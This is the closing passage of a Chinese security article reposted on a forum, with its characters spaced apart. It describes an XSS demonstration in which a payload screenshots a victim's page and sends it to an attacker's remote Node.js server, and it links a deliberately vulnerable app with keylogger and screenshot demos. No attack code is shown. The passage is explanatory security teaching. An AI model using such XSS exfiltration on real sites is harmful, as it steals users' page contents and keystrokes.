制 的 远 程 外 部 服 务 器 中 去 。 P a y l o a d 一 旦 执 行 后 ， 一 个 名 为 s c r e e n s h o t . p n g 的 截 图 文 件 就 会 出 现 在 N o d e . j s 应 用 中 ， 该 截 图 包 含 了 网 页 内 容 ， 如 下 ： 虽 然 这 种 攻 击 的 实 际 应 用 有 限 ， 但 它 可 以 很 好 地 诠 释 利 用 X S S 漏 洞 能 实 现 的 攻 击 场 景 ， 值 得 思 考 借 鉴 。 参 考 参 考 如 果 你 想 实 际 动 手 测 试 这 篇 文 章 中 提 到 基 于 N o d e . j s 的 W e b 应 用 实 例 ， 把 玩 其 中 的 键 盘 记 录 器 或 浏 览 器 截 图 程 序 ， 请 参 考 我 们 的 G i t H u b 页 面 ： h t t p s : / / g i t h u b . c o m / D i g i t a l I n t e r r u p t i o n / v u l n e r a b l e - x s s - a p p * 参 考 来 源 ： 参 考 来 源 ： d i g i t a l i n t e r r u p t i o n ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理